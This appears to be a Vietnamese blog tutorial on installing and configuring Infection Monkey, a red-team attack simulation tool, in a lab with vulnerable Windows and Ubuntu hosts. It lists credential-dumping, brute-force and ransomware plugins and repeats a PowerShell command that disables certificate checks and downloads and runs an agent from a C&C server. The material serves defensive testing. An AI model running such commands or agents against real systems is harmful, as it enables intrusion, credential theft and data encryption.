Có nhiều phương pháp để đánh giá lỗ hổng bảo mật toàn diện của một hệ thống, điển hình trong số đó là Red Team. Một nhân sự có các kỹ năng cần thiết sẽ đóng vai trò như một Hacker hay một nhân viên nội bộ có ý đồ xấu, cố gắng khai thác điểm yếu của tổ chức để lấy đi các dữ liệu quan trọng. Qua thời gian,có nhiều công cụ ra đời phục vụ mục đích này và ngày càng được tối ưu hóa.Infection Monkey là một trong số các công cụ tiêu biểu đó.
1. Infection Monkey là gì ?
Infection Monkey là một công cụ mã nguồn mở, miễn phí do Akamai (một công ty bảo mật rất lớn) phát triển, giúp mô phỏng các cuộc tấn công phức tạp vào tổ chức, từ đó cung cấp cho quản trị viên cái nhìn trực quan nhất về hệ thống mạng nội bộ dưới con mắt của kẻ tấn công. Công cụ có thể hoạt động độc lập hoặc tích hợp vào các hệ thống SOC để dò quét một cách định kì.
Infection Monkey hoạt động theo mô hình Client-Server bao gồm 2 thành phần chính:
- Monkey Island Server : Máy chủ Web C&C cung cấp giao diện đồ họa cho người dùng để giao tiếp với các máy đã bị lây nhiễm .
- Monkey Agent: Tích hợp các chức năng dò quét, khai thác điểm yếu hệ thống mạng - được cài đặt trực tiếp lên trên các máy cần kiểm thử.
2. Cài Đặt
Infection Monkey hỗ trợ nhiều nền tảng phổ biến như Windows, Linux, AWS, Azure và đều giống nhau ở việc rất dễ triển khai. Demo dưới đây mình cài công cụ trên môi trường Kali Linux phiên bản 2023.1
2.1. Cài đặt Infection Monkey
Bước 1. Download công cụ theo đường dẫn sau https://www.akamai.com/content/dam/site/en/dl/InfectionMonkey-v2.3.0.AppImage.zip
Bước 2 . Cài đặt thư viện cần thiết
sudo apt install libfuse2
Bước 3. Giải nén và chạy infection-monkey như một Service
sudo ./InfectionMonkey-v2.3.0.AppImage service --install --user kali
sudo systemctl start infection-monkey
Bước 4. Ở lần cài đặt đầu tiên, công cụ yêu cầu người dùng thực hiện đăng ký tài khoản
Giao diện chào mừng
Bước 5. Cài đặt Plugin
Infection Monkey hoạt động thông qua các plugins để tiến hành dò quét và khai thác lỗ hổng hệ thống , các plugins này được cung cấp sẵn ta chỉ cần ấn tùy chọn (tải xuống) để cài đặt chúng
Các plugins bao gồm:
- Chrome : Lấy các thông tin được lưu trữ trong Google Chrome
- Crytojacker : Giả lập tấn công mã độc đào tiền ảo
- Hadoop : Phục vụ RCE hệ thống Hadoop Server
- Log4Shell : Khai thác lỗ hổng Log4Shell
- Mimikatz : Lấy thông tin từ Windows thông qua Mimikatz
- MSSQL : Brute-force MSSQL
- Powershell : Sử dụng Powershell cho mục đích tấn công hệ thống
- Ransomware : Mô phỏng hệ thống ảnh hưởng bởi Ransomware
- RDP/SMB/SNMP/SSH : Tấn công hệ thống thông qua các giao thức trên
Qua các plugins được cung cấp , ta có thể mường tượng các lỗ hổng mà công cụ có thể giả lập từ đó lên phương án cấu hình cần thiết
2.2. Cấu hình Infection Monkey
Tất cả các phương thức tấn công trên Infection Monkey mặc định sẽ không được bật, để sử dụng bắt buộc chúng ta phải khởi chạy và cấu hình trực tiếp trong Monkey Configuration
1. Propagation > Exploiters
Bật cấu hình các phương thức tấn công Network
2. Propagation > Network analysis
Cài đặt Network, chỉ định đối tượng dò quét hoặc không dò quét trong mạng
Chỉ định các port cần tấn công
2. Propagation > Credentials
Danh sách mật khẩu phục vụ tấn công Brute-force (gồm mật khẩu , NTLM/LM hash, SSH Key)
3.Payloads
Cấu hình liên quan tới các giao thức mã hóa, phục vụ tấn công Ransomware
4. Credentials collectors
Lấy thông tin từ hệ thống nạn nhân thông qua Google Chrome, Mimikatz và SSH
5. Masquerade
Mô phỏng chữ ký của các phần mềm độc hại (plugin này nhằm kiểm tra hệ thống AV có hoạt động một cách chính xác không)
6. Thay đổi chữ ký của Monkey Agent
7. Advanced
Thiết lập tunnel hệ thống
2.2. Thiết lập môi trường tấn công
Môi trường mình thiết lập bao gồm 3 thành phần chính như sau :
- Máy chủ Kali Linux đóng vai trò như một C&C chạy Monkey Island
- Máy chủ Windows 7 tồn tại lỗ hổng bảo mật trong giao thức SMB , RDP đồng thời sử dụng mật khẩu dễ đoán
- Máy chủ Ubuntu 16.04 tồn tại các lỗ hổng bảo mật trong SSH và PAM Authen
Kali Linux 2023 - [IP : 192.168.5.113]
Windows 7 64 Bit - [IP 192.168.5.116]
Ubuntu 16.04 - [IP 192.168.5.117]
3. Các bước tấn công
Infection Monkey cung cấp 3 bước mô phỏng tấn công bao gồm :
Bước 1. Run Monkey :
- From Island : Biến chính máy đang chạy C&C thành mục tiêu tấn công
- Manual : Download và khởi chạy agent trên các máy cần tấn công
Ví dụ về câu lệnh khởi chạy agent trên máy chủ Windows
$execCmd = @"
`$monkey=[System.IO.Path]::GetTempPath() + """monkey.exe""";
[Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {`$true};
(New-Object System.Net.WebClient).DownloadFile('https://172.17.0.1:5000/api/agent-binaries/windows',
"""`$monkey""");`$env:MONKEY_OTP='h_9D9dzsO7sdQQaMUvO.W9ofe5GdxTaE';
Start-Process -FilePath """`$monkey""" -ArgumentList 'm0nk3y -s 172.17.0.1:5000';
"@; Start-Process -FilePath powershell.exe -ArgumentList $execCmd
Bước 2. Infection Map : Cung cấp cho người dùng toàn cảnh quá trình tấn công
Bước 3. Security Reports : Cung cấp báo cáo thử nghiệm cho người dùng
4. Thử nghiệm tấn công
Infection Monkey cung cấp cho người sử dụng 2 tùy chọn giả lập tấn công bao gồm Ransomware Attack & Security Attack
4.1. Giả lập tấn công Ransomware - Malware Check
Infection Monkey mô phỏng một cuộc tấn công ransomware trên hệ thống theo cách trực quan nhất - theo đó nó sẽ mã hóa hệ thống ở danh sách các thư mục được chỉ định với các thuật toán có thể giải mã. Có nhiều cơ chế an toàn được kiểm soát, cho phép kiểm thử này có thể được thực hiện ngay tại môi trường Production.
1. Chuẩn bị môi trường mô phỏng Ransomware
Ở đây mình sẽ tiến hành mã hóa dữ liệu trên máy tính sử dụng hệ điều hành Windows, tại thư mục C:\Users\Public\Demo_Encrypt (Infection Monkey chỉ mã hóa các file tại thư mục chỉ định, nếu xuất hiện thư mục con nó sẽ tự động bỏ qua - biện pháp phòng ngừa này được thực hiện nhằm ngăn chặn việc vô tình mã hóa các tệp mà bạn không có ý định mã hóa.)
(Trong môi trường doanh nghiệp, ta có thể cung cấp cho công cụ các thông số của Ansible , PsExec hoặc thậm chí là Windows GPO cho mục đích thử nghiệm)
2. Cấu hình mã hóa
Để đảm bảo sự ảnh hưởng tối thiểu và khả năng phục hồi dễ dàng, mô phỏng này sẽ chỉ mã hóa các tệp có trong thư mục do người dùng chỉ định. Nếu không có thư mục nào được chỉ định thì sẽ không có tập tin nào được mã hóa. Ngoài ra ta có thể cấu hình đuôi của file sau khi mã hóa
Cấu hình mã hóa theo đường dẫn sau : Payloads > Ransomware
3. Chạy Monkey Agent để tiến hành mô phỏng
$execCmd = @"
`$monkey=[System.IO.Path]::GetTempPath() + """monkey.exe""";
[Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {`$true};
(New-Object System.Net.WebClient).DownloadFile('https://192.168.5.113:5000/api/agent-binaries/windows',
"""`$monkey""");`$env:MONKEY_OTP='ypJkuKwETnEs6.74xnaWozOMh5QDAJmg';
Start-Process -FilePath """`$monkey""" -ArgumentList 'm0nk3y -s 192.168.5.113:5000';
"@; Start-Process -FilePath powershell.exe -ArgumentList $execCmd
4. Hoàn tất
Công cụ mô phỏng mã hóa thành công . Các tập tin đã được mã hóa
Tệp README.txt thông báo cho người dùng rằng quá trình mô phỏng ransomware đã diễn ra và họ nên liên hệ với quản trị viên của mình
Danh sách các tệp tin có đuôi mở rộng bị ảnh hưởng
.3ds .7z .accdb .ai .asp .aspx .avhd .avi .mặt sau .bak .c .cfg .conf .cpp .cs .ctl .dbf .đĩa .djvu .doc .docx .dwg .eml .fdb .giff .gz .h .hdd .jpg .jpeg .kdbx .thư .mdb .mpg .mpeg .msg .nrg .ora .ost .ova .ovf .pdf .php .pmf .png .ppt .pptx .pst .pvi .py .pyc .rar .rtf .sln .sql .tar .tiff .txt .vbox .vbs .vcb .vdi .vfd .vmc .vmdk .vmsd .vmx .vsdx .vsv .công việc .xls .xlsx .xvd .zip
4.2. Giả lập tấn công mạng nội bộ - Security Check
Việc giả lập tấn công mạng nội bộ khó khăn và mất thời gian hơn nhiều so với việc mô phỏng Ransomware. Infection Monkey hỗ trợ người dùng giả lập tấn công thông qua các lỗ hổng sau:
- Scan dải mạng (lưu ý với tính năng này có thể dẫn tới out-of-scop)
- Brute-force các dịch vụ nhạy cảm (SSH, RDP, WMI , MSSQL)
- Lỗ hổng bảo mật điển hình (Hadoop, Log4Shell, Zerologon )
- Dump thông tin hệ thống (thông qua Chrome, Mimikatz hay SSH Key)
Để kích hoạt tính năng này, ta bật tùy chọn plugins tương ứng trong Monkey Configuration > Exploiters
Chạy Monkey Agent để tiến hành mô phỏng
$execCmd = @"
`$monkey=[System.IO.Path]::GetTempPath() + """monkey.exe""";
[Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {`$true};
(New-Object System.Net.WebClient).DownloadFile('https://192.168.5.113:5000/api/agent-binaries/windows',
"""`$monkey""");`$env:MONKEY_OTP='ypJkuKwETnEs6.74xnaWozOMh5QDAJmg';
Start-Process -FilePath """`$monkey""" -ArgumentList 'm0nk3y -s 192.168.5.113:5000';
"@; Start-Process -FilePath powershell.exe -ArgumentList $execCmd
Báo cáo chi tiết về toàn bộ lỗ hổng hệ thống mình đã thiết lập ở bước trên được hiển thị trực quan tại đây.
Để dừng quá trình mô phỏng tấn công, ta có thể kích hoạt chế độ "Kill All Monkeys"
4.3. Reports
Sau khi quá trình tấn công hoàn tất (khoảng 45 phút - 1 giờ tùy hệ thống) , một báo cáo chi tiết sẽ được hiển thị trong Reports
Các yếu tố bao gồm (số máy đã chiếm quyền điều khiển, số file đã được mã hóa , thông tin kết nối của nạn nhân, event logs...)
5. Tổng kết
Infection Monkey thực sự là một công cụ rất hữu dụng cho bất cứ quản trị viên nào trong công việc mô phỏng kiểm thử hệ thống.
Tham khảo : https://techdocs.akamai.com/infection-monkey/docs